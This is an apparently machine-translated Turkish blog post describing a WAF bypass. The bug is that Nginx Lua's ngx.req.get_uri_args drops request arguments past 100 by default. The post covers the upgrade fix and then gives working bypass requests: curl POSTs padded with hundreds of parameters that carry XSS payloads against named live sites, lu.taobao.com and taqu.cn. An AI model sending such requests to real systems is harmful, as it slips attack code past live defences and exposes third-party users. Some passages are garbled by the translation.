|
|
Yayınlandı 27.04.2018 09:23:29
|
|
|
|

ginx Lua parametreleri elde ettiğinde, ilk 100 parametre değeri varsayılan olarak elde edilir, geri kalanlar ise atılır. Bu nedenle, Nginx Lua kullanan WAF'ler varsayılan olarak atlanacaktır. 20 Nisan 18 tarihinde, güvenlik yolcusundan biri bu detayı zaten açıklamıştı, bu yüzden ben de bu 233 numaralı makaleyi yayımladım.
İlke
Resmi açıklama şöyledir
En fazla 100 istek argümanı varsayılan olarak ayrıştırılır (aynı isimle olanlar dahil) ve ek istek argümanlar potansiyel koruma için sessizce ellenir Hizmet Reddi saldırıları. Varsayılan olarak 100'e kadar istek parametresi (aynı isme sahip olanlar dahil) ayrıştırılabilir ve potansiyel hizmet reddi saldırılarını önlemek için ek istek parametreleri otomatik olarak düşürülür.
100 ara, yaklaşık olarak aşağıdaki yöntem aynı sorunu yaşıyor. ngx.req.get_uri_args get için talep parametrelerini alın ngx.req.get_post_args Gönderi için talep parametrelerini alın ngx.req.get_headers İstek başlığını alın ngx.decode_args Parametrelerin URL'sini çözün ngx.resp.get_headers Yanıt başlığını alın Lua-nginx-modül kaynak kodunda, kaynak kodunun varsayılan maksimum istek parametresi ve başlığını 100 olarak ayarladığını görebiliriz
#ifndef NGX_HTTP_LUA_MAX_HEADERS #define NGX_HTTP_LUA_MAX_HEADERS 100 #endif
Ancak yetkili, varsayılan değeri değiştirmek için bir yöntem sağlar; örneğin ilk 200 istek parametresini almak için ngx.req.get_uri_args (200) gibi.
Test
Talep parametresi 101 ise, son istek parametresi elde edilemez.
curl -v 'http://test.zbg.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=zbg'
Bir istek parametresini azaltırsanız, istek parametreleri tam olarak 100 olduğunda son istek parametresini alabilirsiniz.
a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62 C: ZBG Seni yakaladım, zbg
Varsayılan olarak gerçekten 100 istek parametresi olduğunu ve 100 istek parametresinden sonra gelen istek parametrelerinin atılacağını unutmayın.
Yukarıdaki dönüş içeriğinde, kaba konumun ortasında, son zbg parametresinin zaten çıktı olması garip bir durum. Tahminim, çıktı sıralı değil, ancak ayrıştırmanın yapıldığı sıra, parametrelerin sunulma sırasına uyduğu için 101. parametre değeri zbg olduğunda bu değer elde edilemez.
Ekte şu parametreleri üreten python betiği eklenir:
# Yazar: ZBG # Mail:zbg@zbg.org # tarih: 2018-04-03
a = '' Aralıktaki i için(200): a = a + 'a{0}={1}&'.format(i+1, i+1) A yaz onarım Elbette, kaynak kodda parametrenin MAX değerinin değiştirilmesi önerilmez. Çünkü ne kadar büyük değer belirlerseniz belirleyin, bu değer atlanabilir. Yöntemin parametreleriyle ayarlanması önerilir. Eğer istek parametresinin uzunluğunu alıp ngx.req.get_uri_args (uzunluk) gibi bir yöntem kullanabiliyorsanız, bu yeterli olmaz mı? Belgeleri okuduğumda, istenen parametrelerin sayısının alınamadığını fark ettim. Ancak, uzunluğu 0'a ayarsanız, istenen tüm parametreleri alabilirsiniz.
Bu argüman, sınırı kaldırmak ve alınan tüm istek argümanlarını işlemek için sıfıra ayarlanabilir. yerel args = ngx.req.get_uri_args(0)
Ancak, potansiyel hizmet reddi saldırılarını önlemek için 0'a ayarlanması kesinlikle tavsiye edilmiyor.
max_args kapağının kaldırılması kesinlikle tavsiye edilmez.
Aslında, 0 ayarının potansiyel bir hizmet redaksiyonuna yol açacağını ve isteğin ne kadar parametre olursa olsun nginx'e gideceğini merak ediyordum.
Bir sorunu yetkiliye ilettim ve yazar ngx.req.get_uri_args (0)'ın sunucunun CPU ve bellek kullanımını artıracağını söyledi. Daha sonra 200 parametreyi test ettim ve Nginx+php kullanarak 200. parametri elde ettim; bu da Nginx'in varsayılan olarak istenen parametre sayısını sınırlamadığı anlamına geliyor. O zaman sorun Nginx Lua'nın kendisinde olabilir,Nginx Lua tüm parametreleri almak için ngx.req.get_uri_args(0) kullandığında ve bunları yineleme yaptığında, çok sayıda parametre istendiğinde daha fazla CPU ve bellek tüketir ve sonunda hizmet reddedilmesine bile yol açar。
04/03/2018 tarihinde Bypass007 bu hata düzeltmesiyle ilgili resmi olarak bir SORUN gündeme getirdi ve nihayet 2018-04-21 tarihinde bu SORUNA dayanarak yeni bir özellik ekledi. Bu fonksiyonun commit kayıt adresi: https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd
Fonksiyon açıklaması şöyledir: v0.10.13'ten sonraki sürümlerde (v0.10.13 dahil), istek sınırı aşıldığında, ikinci dönüş değeri kısaltılmış dizidir. v0.10.13'ten itibaren, sınır aşıldığında, "kesilmiş" diziyi olan ikinci bir değer döndürür. Ancak, isteğe bağlı max_args fonksiyonu argümanı bu sınırı aşmak için kullanılabilir: yerel args, err = ngx.req.get_uri_args(10) err == "kesilmiş" ise -- mevcut talebi burada görmezden gelmek veya reddetmek seçeneği yapılabilir Son
Böylece son çözüm çıktı.
Lua-nginx-module'ü v0.10.13 veya daha sonrasına yükseltin
Sonra toplam parametre sayısını sınırlayın, çünkü toplam sayının ne kadar sınırlı olduğuna dair bence şahsen 100 yeterli
OpenResty, lua-nginx-modülünü yükseltiyor
OpenResty yükseltme modülü hakkında hiçbir bilgi bulamadım, bu yüzden lua-nginx-modülünü kendi başıma nasıl yükselteceğimi buldum.
Adımlar şunlardır:
Lua-nginx-module modülünün ilgili versiyonunu indirin wget https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13 Açmak tar -zxvf v0.10.13 Önceki lua-nginx-module sürümünü sil rm -RF openresty-1.9.15.1/bundle/ngx_lua-0.10.5 Yeni lua-nginx-modülünü kopyala MV Lua-nginx-module-0.10.13 openresty-1.9.15.1/bundle/ngx_lua-0.10.13 Derleme için VeryNginx'in derleme parametrelerine bakınız
Vaka bypass
Aşağıdaki WAF'lerde Nginx Lua kullanıp kullanmayacağımdan emin değilim, ancak toplam parametre sayısı tarafından atlanabilirler.
Ali WAF
Bu WAF, Alibaba tarafından dahili olarak kullanılan bir WAF'tir; yani *.taobao.com gibi alan adları tarafından kullanılan WAF ve Alibaba Cloud tarafından satılan bulut WAF için test edilmemiştir. Öncelikle, onu yakalamak için bir POST XSS Yükü talep edin. curl -v -d 'a=<img src=x onerror=alert(/xss/)>' lu.taobao.com Fuzz aracılığıyla, XSS Payload ile parametre sayısı 478'e çıkarıldığında artık ele geçirilmediği ve web sitesine normal şekilde erişilebildiği tespit edildi. Curl -v -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a10=110&a111=111&a112=112&a13=113&a114=114&a15=115&a16= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a138=138&a139=139&a140=140&a141=141&a142=142&a143=143&a144=144&a145=145&a146=146&a147=147&a148=148&a149=149&a150=150&a151=151&a152=152&a153= 153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166&a167=167&a168=168&a169=169&a170=170&a171=171& a172=172&a173=173&a174=174&a175=175&a176=176&a177=177&a178=178&a179=179&a180=180&a181=181&a182=182&a183=183&a184=184&a185=185&a186=186&a187=187&a188=188&a189=189&a190= 190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=202&a203=203&a204=204&a205=205&a206=206&a207=207&a208=208& a209=209&a210=210&a211=211&a212=212&a213=213&a214=214&a215=215&a216=216&a217=217&a218=218&a219=219&a220=220&a221=221&a222=222&a223=223&a224=224&a225=225&a226=226&a227= 227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=242&a243=243&a244=244&a245=245& a246=246&a247=247&a248=248&a249=249&a250=250&a251=251&a252=252&a253=253&a254=254&a255=255&a256=256&a257=257&a258=258&a259=259&a260=260&a261=261&a262=262&a263=263&a264= 264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=276&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282& a283=283&a284=284&a285=285&a286=286&a287=287&a288=288&a289=289&a290=290&a291=291&a292=292&a293=293&a294=294&a295=295&a296=296&a297=297&a298=298&a299=299&a300=300&a301= 301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318&a319=319& a320=320&a321=321&a322=322&a323=323&a324=324&a325=325&a326=326&a327=327&a328=328&a329=329&a330=330&a331=331&a332=332&a333=333&a334=334&a335=335&35=335&a336=336&a337=337&a338= 338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355&a356=356& a357=357&a358=358&a359=359&a360=360&a361=361&a362=362&a363=363&a364=364&a365=365&a366=366&a367=367&a368=368&a369=369&a370=370&a371=371&a372=372&a373=373&a374=374&a375= 375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a389=389&a390=390&a391=391&a392=392&a393=393& a394=394&a395=395&a396=396&a397=397&a398=398&a399=399&a400=400&a401=401&a402=402&a403=403&a404=404&a405=405&a406=406&a407=407&a408=408&a409=409&a410=410&a411=411&a412= 412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=421&a422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430& a431=431&a432=432&a433=433&a434=434&a435=435&a436=436&a437=437&a438=438&a439=439&a440=440&a441=441&a442=442&a443=443&a444=444&a445=445&a446=446&a447=447&a448=448&a449= 449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455&a456=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=465&a466=466&a467=467& a468=468&a469=469&a470=470&a471=471&a472=472&a473=473&a474=474&a475=475&a476=476&a477=477&a==<img src=x onerror=alert(/xss/)>' lu.taobao.com
UCloud
Test edilen WAF, UCloud tarafından satılan bir WAF'tir. İstek parametresi 138'e yükseltildiğinde, artık engellenmez ve web sitesi normal şekilde erişilir. curl -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a10=110&a111=111&a112=112&a13=113&a114=114&a15=115&a16= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a=alert(1234)' taqu.cn
Tencent WAF
Bu WAF, Tencent tarafından dahili olarak kullanılan bir WAF'tir; yani *.qq.com gibi alan adları tarafından kullanılan WAF ve Tencent Cloud tarafından satılan bulut WAF için test edilmemiştir. İstek parametresi 4000'e yükseldiğinde, artık engellenmez ve web sitesi normal şekilde erişilir. Aşağıdaki alanların rastgele testleri etkilenir. web.qq.com ke.qq.com auto.qq.com news.qq.com sports.qq.com time.qq.com
özet
Bu soru çok basit ve belgeyi dikkatlice okuduğunuzda bulabilirsiniz. Ama neden öğrenemedim? Bence hâlâ çok az düşünmek. Referans
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args
https://github.com/openresty/openresty/issues/358
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd
|
Önceki:Photoshop'u sıfırdan öğrenin, acemiden tanrıya 18 dersÖnümüzdeki:Lua ve Luajit'in güçlü ve zayıf yönleri
|